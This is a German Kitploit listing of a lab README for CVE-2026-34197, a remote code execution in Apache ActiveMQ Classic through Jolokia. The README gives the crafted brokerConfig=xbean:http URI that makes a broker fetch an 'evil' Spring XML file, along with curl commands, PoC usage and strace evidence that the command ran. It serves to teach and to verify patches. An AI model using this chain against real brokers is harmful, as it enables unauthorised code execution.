Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-34197-Lab — # Docker-Lab zur Demonstration von CVE-2026-34197, einer Apache ActiveMQ Classic RCE über Jolokia. Enthält einen sicheren Detektor und einen rein lokalen PoC mit festem Befehl, der verwundbare und gepatchte Versionen vergleicht. | Kitploit
Tools/GitHubGitHub/rootdirective-sec/cve-2026-34197-lab
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & BildungLabs & Praxis
GitHubrootdirective-sec/cve-2026-34197-lab

CVE-2026-34197-Lab

# Docker-Lab zur Demonstration von CVE-2026-34197, einer Apache ActiveMQ Classic RCE über Jolokia. Enthält einen sicheren Detektor und einen rein lokalen PoC mit festem Befehl, der verwundbare und gepatchte Versionen vergleicht.

Repository anzeigen
vor 3 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-34197 — Apache ActiveMQ Classic Jolokia RCE Lab

Überblick

Dieses Repository ist ein lokales Docker-Lab zum Studium von CVE-2026-34197, einer Remote-Code-Execution-Schwachstelle in Apache ActiveMQ Classic, die über die Jolokia-JMX-HTTP-API erreichbar ist.

Das Lab vergleicht zwei ActiveMQ-Classic-Instanzen nebeneinander:

DienstVersionZweckURL
vuln5.19.3Verwundbares Zielhttp://127.0.0.1:8081
patched5.19.4Gepatchtes Vergleichszielhttp://127.0.0.1:8082

Das Repository enthält zwei Proof-Skripte:

SkriptZweckSicherheitsmodell
poc/detect.pyAutorisierter DetektorNur HTTP; nutzt nichts aus
poc/poc.pyLokaler RCE-Pfad-BeweisFester Befehl nur: id; whoami; sleep 5

Der Ausführungsnachweis wird separat vom Betreiber mithilfe von Prozessbeobachtungswerkzeugen wie strace verifiziert.


Schwachstellen-Zusammenfassung

CVE-2026-34197 betrifft Apache ActiveMQ Classic-Versionen, in denen ein authentifizierter Benutzer die Jolokia-API verwenden kann, um Broker-Verwaltungsoperationen aufzurufen und den Broker-JVM dazu zu bringen, über eine manipulierte brokerConfig=xbean:http://...-URI vom Angreifer kontrolliertes Spring-XML zu laden.

Der in diesem Lab demonstrierte verwundbare Ablauf ist:

root@kitploit:~
Jolokia /api/jolokia/
  -> Broker-MBean-Operation
  -> addNetworkConnector(java.lang.String)
  -> static:(vm://...?brokerConfig=xbean:http://...)
  -> Remote-Spring-XML-Abruf
  -> ProcessBuilder-Bean-Initialisierung
  -> fester lokaler Beweisbefehl

Der gepatchte Dienst blockiert diesen Pfad, bevor das XML abgerufen wird, und gibt einen Fehler ähnlich wie:

root@kitploit:~
VM scheme is not allowed

Repository-Struktur

root@kitploit:~
.
├── docker-compose.yml
├── vuln
│   └── Dockerfile
├── patched
│   └── Dockerfile
├── poc
│   ├── detect.py
│   └── poc.py
├── images
│   └── strace.png
├── README.md
└── .gitignore

Dateirollen

  • docker-compose.yml startet die verwundbaren und gepatchten ActiveMQ-Dienste.
  • vuln/Dockerfile erstellt Apache ActiveMQ Classic 5.19.3.
  • patched/Dockerfile erstellt Apache ActiveMQ Classic 5.19.4.
  • poc/detect.py prüft die Jolokia-Exposition, die ActiveMQ-Version und die Sichtbarkeit der Broker-MBean.
  • poc/poc.py löst den rein lokalen RCE-Pfad mithilfe eines festen harmlosen Befehls aus.
  • images/strace.png enthält lokale Prozessbeobachtungsnachweise vom verwundbaren Dienst.
  • .gitignore schließt lokale Artefakte, Python-Cache-Dateien, virtuelle Umgebungen, Protokolle und Geheimnisse aus.

Sicherheitsgrenzen

Dieses Repository ist nur für die lokale Lab-Nutzung und autorisierte Sicherheitsvalidierung bestimmt.

Der PoC ist bewusst eingeschränkt:

  • Er lehnt nicht-lokale Ziele ab.
  • Er akzeptiert keine beliebigen Befehle.
  • Er verwendet nur den festen Befehl: id; whoami; sleep 5.
  • Er sammelt keine Befehlsausgabe über einen Callback.
  • Er verlässt sich auf eine separate, vom Betreiber kontrollierte Beobachtung wie strace.

Zulässige lokale Ziele für poc.py:

root@kitploit:~
127.0.0.1
localhost
::1

Verwenden Sie dieses Repository nicht gegen Systeme, die Sie nicht besitzen oder für die Sie keine ausdrückliche Testgenehmigung haben.


Lab-Einrichtung

Lab erstellen und starten

root@kitploit:~
docker compose down -v
docker compose build
docker compose up -d

Dienststatus prüfen:

root@kitploit:~
docker compose ps

Erwartete Dienste:

root@kitploit:~
cve-2026-34197-vuln      Up / healthy
cve-2026-34197-patched   Up / healthy

Jolokia-Versionsendpunkte verifizieren

Verwundbaren Dienst prüfen:

root@kitploit:~
curl -sS \
  -u admin:admin \
  -H 'Origin: http://127.0.0.1:8081' \
  http://127.0.0.1:8081/api/jolokia/version | python3 -m json.tool

Gepatchten Dienst prüfen:

root@kitploit:~
curl -sS \
  -u admin:admin \
  -H 'Origin: http://127.0.0.1:8082' \
  http://127.0.0.1:8082/api/jolokia/version | python3 -m json.tool

Erwartete Versionen:

root@kitploit:~
8081 -> ActiveMQ 5.19.3
8082 -> ActiveMQ 5.19.4

Detektor-Verwendung

poc/detect.py ist das sichere Standard-Skript. Es nutzt das Ziel nicht aus.

Es prüft:

  1. ob /api/jolokia/version zugänglich ist;
  2. ob eine Authentifizierung erforderlich ist;
  3. ob das Produkt Apache ActiveMQ ist;
  4. die ActiveMQ-Version;
  5. ob die Broker-MBean über die Jolokia-Suche sichtbar ist;
  6. ob die Version in einen betroffenen Bereich fällt.

Detektor gegen beide Lab-Dienste ausführen

root@kitploit:~
python3 -m venv .venv
source .venv/bin/activate
pip install requests

python poc/detect.py \
  -t http://127.0.0.1:8081 \
  -t http://127.0.0.1:8082 \
  -u admin \
  -p admin \
  -v

Erwartetes Ergebnis:

root@kitploit:~
http://127.0.0.1:8081
Assessment: LIKELY_VULNERABLE
Risk: HIGH
ActiveMQ version: 5.19.3
Broker MBean: VISIBLE

http://127.0.0.1:8082
Assessment: NOT_AFFECTED_BY_VERSION
Risk: LOW
ActiveMQ version: 5.19.4
Broker MBean: VISIBLE

Was zählt im Detektor als verwundbar?

Der Detektor markiert ein Ziel als LIKELY_VULNERABLE, wenn:

root@kitploit:~
Jolokia ist zugänglich
+
ActiveMQ-Version liegt in einem betroffenen Bereich

In diesem Lab verwendete betroffene Bereiche:

root@kitploit:~
5.x < 5.19.4
6.x < 6.2.3

Die Sichtbarkeit der Broker-MBean wird als Vertrauensnachweis verwendet, da der Exploit-Pfad auf Broker-Verwaltungsoperationen beruht.

Der Detektor behauptet kein CONFIRMED_RCE.


Lokaler RCE-Pfad-PoC

poc/poc.py demonstriert den RCE-Pfad im lokalen Docker-Lab.

Es startet einen temporären HTTP-Server auf dem Host und stellt eine Spring-XML-Nutzlast unter einem pro-Lauf eindeutigen Pfad bereit:

root@kitploit:~
/evil-<nonce>.xml

Anschließend ruft es die ActiveMQ-Broker-MBean über Jolokia auf:

root@kitploit:~
addNetworkConnector(java.lang.String)

mit einer manipulierten Discovery-URI:

root@kitploit:~
static:(vm://cve34197<nonce>?brokerConfig=xbean:http://host.docker.internal:9100/evil-<nonce>.xml)

Der verwundbare Broker ruft dieses XML ab. Der gepatchte Broker blockiert das vm://-Transport-Schema, bevor das XML abgerufen wird.

Wichtiges Verhalten

Nach einem verwundbaren Lauf kann der erstellte NetworkConnector erneut versuchen, den alten XML-Pfad abzurufen. Das Skript verwendet einen pro-Lauf eindeutigen Nonce und verfolgt matches_current_run, um Fehlalarme zu vermeiden.

Ein Treffer wird nur dann als aktueller Lauf gezählt, wenn er übereinstimmt:

root@kitploit:~
/evil-<current-nonce>.xml

PoC gegen verwundbaren Dienst ausführen

root@kitploit:~
python poc/poc.py \
  --target http://127.0.0.1:8081 \
  -u admin \
  -p admin

Erwartete Ausgabe:

root@kitploit:~
[+] Broker fetched the Spring XML payload for this run.
Matched path: /evil-<nonce>.xml
matches_current_run: true

Dies bestätigt, dass ActiveMQ 5.19.3 dazu gebracht werden kann, über den Jolokia-verwalteten Broker-Pfad vom Angreifer kontrolliertes Spring-XML abzurufen.


PoC gegen gepatchten Dienst ausführen

root@kitploit:~
python poc/poc.py \
  --target http://127.0.0.1:8082 \
  -u admin \
  -p admin

Erwartete Ausgabe:

root@kitploit:~
VM scheme is not allowed
[-] No XML fetch observed for this run.

Wenn Treffer von einem älteren verwundbaren Lauf erscheinen, sollten sie Folgendes zeigen:

root@kitploit:~
"matches_current_run": false

Diese werden nicht als Erfolg des gepatchten Dienstes gezählt.


Befehlsausführung mit strace bestätigen

Das PoC-Skript sammelt keine Befehlsausgabe. Um die Befehlsausführung zu bestätigen, beobachten Sie die Prozesserstellung im verwundbaren Container.

Als Root in den verwundbaren Container wechseln:

root@kitploit:~
docker exec -it --user root cve-2026-34197-vuln bash

Java-Prozess finden:

root@kitploit:~
pgrep -af java

strace an die Java-PID anhängen:

root@kitploit:~
strace -f -e execve -p <JAVA_PID>

In einem anderen Terminal den PoC gegen den verwundbaren Dienst ausführen:

root@kitploit:~
python poc/poc.py \
  --target http://127.0.0.1:8081 \
  -u admin \
  -p admin

Erwarteter strace-Nachweis:

root@kitploit:~
execve("/bin/sh", ["/bin/sh", "-c", "id; whoami; sleep 5"], ...)
execve("/usr/bin/id", ["id"], ...)
execve("/usr/bin/whoami", ["whoami"], ...)
execve("/usr/bin/sleep", ["sleep", "5"], ...)

Dies ist der OS-Ebene-Nachweis, dass der feste Beweisbefehl vom Broker-JVM ausgeführt wurde.

strace-Befehlsausführungsnachweis


Bereinigung zwischen Läufen

Der PoC versucht, den Standard-NetworkConnector-Namen NC vor dem Auslösen zu entfernen. Dies hält wiederholte Lab-Läufe vorhersehbar.

Manuelle Bereinigung:

root@kitploit:~
curl -sS \
  -u admin:admin \
  -H 'Origin: http://127.0.0.1:8081' \
  -H 'Content-Type: application/json' \
  -X POST \
  http://127.0.0.1:8081/api/jolokia/ \
  -d '{
    "type": "exec",
    "mbean": "org.apache.activemq:type=Broker,brokerName=localhost",
    "operation": "removeNetworkConnector(java.lang.String)",
    "arguments": ["NC"]
  }' | python3 -m json.tool

Oder das Lab neu starten:

root@kitploit:~
docker compose restart vuln patched

Erwartete Lab-Ergebnisse

TestVerwundbar 5.19.3Gepatcht 5.19.4
detect.pyLIKELY_VULNERABLENOT_AFFECTED_BY_VERSION
Jolokia-ZugriffZugänglich mit AuthZugänglich mit Auth
Broker-MBeanSichtbarSichtbar
poc.py-XML-AbrufJaNein
Gepatchte BlocksignaturN/AVM scheme is not allowed
strace-Befehlsnachweis/bin/sh -c 'id; whoami; sleep 5'Nicht erwartet

Referenzen

  • Apache ActiveMQ Security Advisory — CVE-2026-34197: https://activemq.apache.org/security-advisories.data/CVE-2026-34197-announcement.txt
  • NVD — CVE-2026-34197: https://nvd.nist.gov/vuln/detail/CVE-2026-34197
  • CVE.org — CVE-2026-34197-Eintrag: https://www.cve.org/CVERecord?id=CVE-2026-34197
  • GitHub Advisory Database — GHSA-rxpj-7qvf-xv32: https://github.com/advisories/GHSA-rxpj-7qvf-xv32
  • Horizon3.ai — CVE-2026-34197 ActiveMQ RCE über Jolokia-API: https://horizon3.ai/attack-research/disclosures/cve-2026-34197-activemq-rce-jolokia/
  • Apache ActiveMQ Classic-Dokumentation — Netzwerke von Brokern: https://activemq.apache.org/components/classic/documentation/networks-of-brokers
  • Apache ActiveMQ Classic JMX BrokerView-API-Dokumentation: https://activemq.apache.org/components/classic/documentation/maven/apidocs/org/apache/activemq/broker/jmx/BrokerView.html
Tool herunterladen